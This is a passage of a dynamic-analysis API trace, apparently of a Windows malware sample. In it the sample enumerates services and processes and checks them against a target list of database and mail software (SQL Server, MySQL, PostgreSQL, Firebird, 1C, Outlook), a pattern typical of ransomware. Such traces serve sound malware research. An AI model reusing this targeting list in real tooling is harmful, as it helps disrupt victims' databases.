lpString2="Dnscache") returned 1 [0261.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.526] lstrlenW (lpString="DPS") returned 3 [0261.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.526] lstrlenW (lpString="eventlog") returned 8 [0261.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0261.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0261.527] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0261.527] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0261.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0261.527] lstrlenW (lpString="EventSystem") returned 11 [0261.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.527] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.527] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.527] lstrlenW (lpString="gpsvc") returned 5 [0261.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.528] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.528] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.529] lstrlenW (lpString="iphlpsvc") returned 8 [0261.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.529] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0261.529] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0261.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0261.529] lstrlenW (lpString="LanmanServer") returned 12 [0261.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0261.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0261.529] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0261.529] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0261.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0261.530] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.530] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.530] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.530] lstrlenW (lpString="lmhosts") returned 7 [0261.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.530] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.530] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.530] lstrlenW (lpString="MMCSS") returned 5 [0261.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0261.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0261.531] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0261.531] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0261.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0261.531] lstrlenW (lpString="MpsSvc") returned 6 [0261.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.531] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.531] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.532] lstrlenW (lpString="Netman") returned 6 [0261.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0261.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0261.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0261.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0261.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0261.532] lstrlenW (lpString="netprofm") returned 8 [0261.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0261.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0261.532] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0261.532] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0261.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0261.532] lstrlenW (lpString="NlaSvc") returned 6 [0261.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0261.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0261.533] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0261.533] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0261.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0261.533] lstrlenW (lpString="nsi") returned 3 [0261.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0261.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0261.533] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0261.533] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0261.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0261.534] lstrlenW (lpString="PcaSvc") returned 6 [0261.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0261.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0261.534] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0261.534] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0261.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0261.534] lstrlenW (lpString="PlugPlay") returned 8 [0261.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0261.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0261.534] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0261.534] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0261.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0261.535] lstrlenW (lpString="Power") returned 5 [0261.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0261.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0261.535] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0261.535] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0261.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0261.535] lstrlenW (lpString="ProfSvc") returned 7 [0261.535] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0261.535] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0261.535] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0261.535] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0261.535] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0261.536] lstrlenW (lpString="RpcEptMapper") returned 12 [0261.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.536] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0261.536] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0261.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0261.536] lstrlenW (lpString="RpcSs") returned 5 [0261.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0261.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0261.536] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0261.536] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0261.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0261.537] lstrlenW (lpString="SamSs") returned 5 [0261.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0261.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0261.537] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0261.537] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0261.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0261.537] lstrlenW (lpString="Schedule") returned 8 [0261.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0261.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0261.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0261.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0261.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0261.538] lstrlenW (lpString="SENS") returned 4 [0261.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0261.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0261.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0261.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0261.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0261.538] lstrlenW (lpString="ShellHWDetection") returned 16 [0261.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.538] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0261.538] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0261.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0261.539] lstrlenW (lpString="Spooler") returned 7 [0261.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0261.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0261.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0261.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0261.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0261.539] lstrlenW (lpString="SysMain") returned 7 [0261.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0261.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0261.539] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0261.539] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0261.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0261.540] lstrlenW (lpString="Themes") returned 6 [0261.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0261.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0261.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0261.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0261.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0261.540] lstrlenW (lpString="TrkWks") returned 6 [0261.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0261.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0261.540] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0261.540] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0261.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0261.541] lstrlenW (lpString="UxSms") returned 5 [0261.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0261.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0261.541] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0261.541] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0261.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0261.541] lstrlenW (lpString="WdiServiceHost") returned 14 [0261.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0261.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0261.541] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0261.542] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0261.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0261.542] lstrlenW (lpString="WdiSystemHost") returned 13 [0261.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0261.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0261.542] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0261.542] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0261.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0261.542] lstrlenW (lpString="Winmgmt") returned 7 [0261.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0261.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0261.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0261.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0261.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0261.543] lstrlenW (lpString="WPDBusEnum") returned 10 [0261.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0261.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0261.543] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0261.543] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0261.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0261.543] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0261.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0261.547] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.549] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.550] lstrlenW (lpString="System") returned 6 [0261.550] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0261.550] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0261.550] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0261.550] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0261.550] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0261.550] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0261.550] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0261.550] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.551] lstrlenW (lpString="smss.exe") returned 8 [0261.551] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0261.551] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0261.551] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0261.551] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0261.551] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0261.551] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0261.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0261.552] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.552] lstrlenW (lpString="csrss.exe") returned 9 [0261.553] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0261.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0261.553] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0261.553] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0261.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0261.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0261.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0261.553] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.554] lstrlenW (lpString="wininit.exe") returned 11 [0261.554] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0261.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0261.554] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0261.554] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0261.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0261.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0261.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0261.555] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.556] lstrlenW (lpString="csrss.exe") returned 9 [0261.556] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0261.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0261.556] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0261.556] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0261.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0261.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0261.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0261.556] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.557] lstrlenW (lpString="winlogon.exe") returned 12 [0261.557] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0261.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0261.558] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0261.558] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0261.558] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.660] lstrlenW (lpString="services.exe") returned 12 [0261.661] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.662] lstrlenW (lpString="lsass.exe") returned 9 [0261.662] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0261.663] lstrlenW (lpString="lsm.exe") returned 7 [0261.663] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.664] lstrlenW (lpString="svchost.exe") returned 11 [0261.664] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.665] lstrlenW (lpString="svchost.exe") returned 11 [0261.665] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.666] lstrlenW (lpString="svchost.exe") returned 11 [0261.666] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.667] lstrlenW (lpString="svchost.exe") returned 11 [0261.667] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.668] lstrlenW (lpString="svchost.exe") returned 11 [0261.669] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.670] lstrlenW (lpString="audiodg.exe") returned 11 [0261.670] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.671] lstrlenW (lpString="svchost.exe") returned 11 [0261.671] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.672] lstrlenW (lpString="explorer.exe") returned 12 [0261.672] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.673] lstrlenW (lpString="dwm.exe") returned 7 [0261.673] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.674] lstrlenW (lpString="svchost.exe") returned 11 [0261.674] Process32NextW (in: hSnapshot=0x3b0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0261.675] 